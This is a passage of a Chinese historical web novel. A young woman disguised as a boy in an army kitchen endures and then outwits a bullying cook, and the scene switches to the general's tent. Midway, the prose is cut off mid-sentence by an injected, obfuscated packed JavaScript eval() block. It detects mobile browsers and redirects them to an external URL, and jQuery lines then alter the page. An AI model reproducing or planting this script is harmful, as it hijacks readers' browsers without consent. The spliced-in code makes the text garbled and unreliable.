沈乾石心领神会,即刻上前搀扶住对方,“末将省的,三日后设下薄宴,还请公公务必赏脸,让诸位将士聊表寸心。”
沈乾石身形魁梧,李莲芝身量却不足六尺,立在其侧,直如稚子傍于巨岩,情状好不滑稽,偏他本人浑然未觉。
李莲芝神色倨傲,任由沈乾石扶着,一行人气氛“融洽”地出了大帐。
*
残夜将尽,寅时刚过,营房窗纸已然发白。帐子里浊气熏人,一股子汗馊混着土腥味热烘烘地直往人脑门里钻。
天还未大光,郁芍便睁了眼,蹑着脚从大通铺上溜将下来,全没惊动左右。非是睡足了,实是身在虎狼窝,心里随时都绷着根弦,身边虽都是些被发配到火头营的老弱残兵,亦是夙夜兢兢,不敢稍弛。
自那日后,霍枭便似忘了她这人,再无暇顾及,她被赵季随手一划,丢去伙房听用,充作杂役。
她从床底悄声拽出个灰扑扑的木匣儿,当胸抱定了,再弓着背踮着脚哧溜出了营房。
天光昏惨惨的,四野里雾气沼沼,十步外便瞧不真切,几番七拐八绕后,她摸到一处僻静旮瘩,是个废弃马槽,杂七杂八堆着些旧物,平日里半个鬼影子也见不着。
扫眼见四下无人,郁芍掀开木匣,里头整整齐齐码着一束束缠胸的素娟、几罐染肤的青黛膏、塑脸的胶泥,并些描眉画鬓的零碎物件。
她展开菱花镜,开始施展手段:先用布帛掩了女儿身,再取青黛膏抹匀了小脸,末了取出个软胶就着颈项处细细贴妥,指腹轻揉慢捻,将四围的边际徐徐抹平...
不过三两下,竟把个娇娇女儿改作朗目疏眉的少年郎,端的巧夺天工。
她对镜端详了一番,自觉浑无破绽,嘿嘿,这东亚改头换面的绝活,纵使放在千年前也是顶好的手段...
收拾利落,原是要捧匣回营,忽地心觉不妥,驻足四下张望片刻,转而拨开荒草,就着断砖挖了个浅坑,将匣子埋严实,这才将肥大戎装抻平,缩颈低头一溜烟地往回赶。
回到营盘时,大伙都睁了眼,一个个呵欠连天,正慢腾腾往身上套号衣。郁芍逢人便打招呼,叔伯兄长叫得亲热。她年岁最小,生得俊俏,更兼一张蜜糖嘴,做事透着股伶俐劲儿,才几日工夫,伙房上下没有不疼她的。
一个须发花白、佝偻着背的伙头兵正哑着嗓子分派各人活计,营里都称他张伯。
张伯转头见郁芍主动上前搀扶,展颜笑道,“阿果,你刚来不利索,且去那厢水槽边将今日菜蔬洗净便是。”
这已是最省力的差事了,旁人分的都是丈把高的柴垛,抡斧头抡得胳膊都抬不起来。
“好嘞,张伯!”
郁芍笑盈盈应了声,依言走到那口青石砌的大水槽旁,挽起袖管便忙活起来。
虽已入夏,井水还冰得紧,菜蔬却是堆积如山:菘菜荠菜带着泥、冬葵蘘荷沾着露,另有油渍斑斑的碗盏木盘。她弯着腰一遍遍搓洗,不过几盏茶功夫,十指纤纤便浸得惨白,指节阵阵发麻,后腰更是又酸又胀。
她心下暗忖,这活儿看着轻省,竟是这般累人!眼下才入夏,若到数九寒天,双手浸在那带冰碴的水里,怕是要冻烂见骨。
不过横竖再熬几日。
按那书中记载,霍枭不日便要南下,等他带着这队兵马离了营盘,那阉人寻她不见,便可伺机脱身。
正忙得汗透罗衫,忽听得背后冒起个怪声怪气的腔调,“咄!这洗的甚么菜?根上还带着泥,你小子莫不是想让兄弟们啃泥巴!”
郁芍闻声抬头,姜疤瘌趿拉着双破鞋,一瘸一拐地蹭来,男人一双鼠目往筐里一扫,正阴恻恻地瞅着她。
行伍间鱼龙混杂,自是少不了一干泼皮鼠辈,姜疤瘌正是这路货色。
此人生得獐头鼠目,一对吊梢眼滴溜溜乱转,偏生左腿还短了几寸,走起路来一颠一簸,因着这残疾,上不得阵杀不得敌,故而发配到伙房,专司些烧火劈柴的杂役。
这泼才在营中厮混多年,早成了滚刀肉,惯会看人下菜碟。他眼见郁芍入营不过三五日便将那些炊卒哄得团团转,管事的张伯更是偏心,尽拣些松快活计助她躲懒,胸中如泼了酸浆,一股子邪火噌噌直往卤门冒——
一个刚来的雏儿倒比他这老兵油子还有脸面,若不给些厉害瞧瞧,来日怕是要骑到他头上来屙屎!
郁芍知他故意找茬,却也不急,只低眉顺眼道:“姜爷指点的是,我这就再洗一遍。”
“再洗?”
姜疤瘌把眼一瞪,陡然拔高嗓门,“说得轻巧!你当这水是白挑来的不成?眼看就要下锅了,等你磨蹭完,误了放饭时辰,怪罪下来,是你担待还是俺担待?!”
那唾沫星儿几乎溅上她面门,郁芍心头不耐,却深知此等刁徒最是难缠,不宜硬碰,便只埋头装乖。
旁边一年长的炊卒看不过眼,插嘴劝道:“老瘸,你少说两句,他初来乍到,手脚慢些也是常情。”
那泼才却似被踩了尾巴,登时炸将起来,“放你娘的屁!甚么常情?营规森严,误了时辰就要掉脑袋!你们这般护着他,莫非得了甚么好处?”
这一顶大帽子扣下,那炊卒也只得闭了嘴,摇头走开。
郁芍不与他争辩,又将一大筐菜吭哧吭哧地重新洗了遍。
姜疤瘌瞧这雏儿屁都不敢放一个,心中好不得意,只道是自己手段高明,当即抱起膀子,歪倒在柴火堆上,吊着双细目死死觑着她,嘴里还不干不净地念叨,“再有一星半点的泥,仔细你的皮!”
郁芍好容易把菜洗完,已是腰酸背痛,姜疤瘌竟又吩咐她挑水。院里本有现成的甜水井,他偏不许她沾边,定要她绕远去河边担水,还扯什么“河水活泛”。
但那河距此颇远,两大桶水挑将回来,纵是个壮小伙也得费好大劲,更何况她这风吹就倒的身子骨?
郁芍见张伯不在跟前,旁人又都不敢吱声,心知这泼皮定有来头,当下不敢撕破了脸,只得拎起空桶深一脚浅一脚往河边摸去。
她咬紧牙关,一步一挨捱回来,到得院中已是汗透衣衫,两眼发花,双肩更是针扎似的痛。
姜疤瘌又吊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794364|190629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死鬼似的挨近身来,伸着黑黢黢的指爪往桶里一蘸,咂摸了一下,“呸”地啐了口,跳脚嚷道,“这挑的甚么水!一股子腥臊味!如何做得饭食?定是你半路偷懒,取了浑水来充数!”
“倒了重挑!”
郁芍抬眼看去,见他脸上扬起狞恶的笑,更衬得面目腌臜不堪,满嘴黄牙焦黄腥臭。
几个伙夫闻言面露不平,却惧于他平日淫威,不敢出声。
郁芍蹙眉。
这般隐忍可不是个道理,才半日功夫,自己便被他搓磨得半死不活,若再继续装怂,这鼠辈定要得寸进尺。可这瘸子虽跛了足,然膂力过人,跟他来硬的可不成,须得想个法子叫这厮狠狠载个跟头。
正思忖间,忽见灶边蹿出一只硕大老鼠,正在扒在干粮上偷嘴。她心念电转,忙惊惶高呼:“呀!好大一只耗子!”
那姜疤瘌叫她这冷不防的举动唬得往后一缩,说时迟那时快,郁芍暗将一截柴火棍儿悄然踹到对方足下——
姜疤瘌腿脚本就不利索,猝然踩中柴棍,身子一趔趄,坏腿吃不住劲,“噗通”栽向地面,结结实实跌了个狗吃屎!
“哎呦喂!”
这泼皮下颌重重砸在泥地里,吃得满嘴污泥,门牙立时松动,痛得嗷嗷乱叫,偏嘴里堵着土,只听得半截呕哑难听的嚎叫。
大伙儿见他这狼狈窘态,先是一惊,随即更觉滑稽,却又不好太过放肆,只得强自忍下,一个个憋得满脸通红。
郁芍忙不迭地上前搀扶着,一脸慌里慌张,好似吓破了胆,“姜爷您没事吧?怎得这般不稳当?莫不是叫那耗子惊着了?”言语间满是关切。
不知底细的还当她跟这瘸子有多深的交情。
姜疤瘌摔得七荤八素,听得郁芍暗讽,再瞅周遭众人虽不敢明笑,却个个嘴角抽搐,分明是在看他出乖露丑,一时直气得胡子翘起,须发倒竖。
方才脚下那物什定是这小猢狲暗中使坏!原道是个打不还手的闷葫芦,谁料肚里竟藏了这么多花花肠子!
他气得浑身乱颤,鼓着双吊梢眼抖抖索索指向对方,喉中一阵嗬嗬,半晌才憋出一句含糊不清的痛骂:“龟孙!给老子等着!”
郁芍却不睬他,自顾自去追那早跑得没影儿的耗子,口中还犹自嘟囔着,“这害人的畜生,定要打死才好,免得再惊了人,凭白惹出祸事来...”
言语间意有所指。
众人都听出了弦外之音,憋着笑斜睨着姜疤瘌。这泼才平日里靠着拐弯抹角的关系在伙房作威作福,今儿个竟被个雏儿收拾得服服帖帖,看得人心里大是痛快,往日的畏惧俱也消减了大半。
有人转向那少年,暗忖这小子成天乐呵呵的,谁知蔫人出豹子,这一口咬得真绝,那些暗地里轻视她的,这会儿也都收起了那些小心思。
*
帐中油灯通明,顶上悬着九环金刀,北首柏木大案上摊着张牛皮山河舆图,密密麻麻画满了关隘城池。霍枭正紧盯着舆图,亲信赵季则静立在侧。
男人头也不抬,道:“沈乾石那边可有动静?”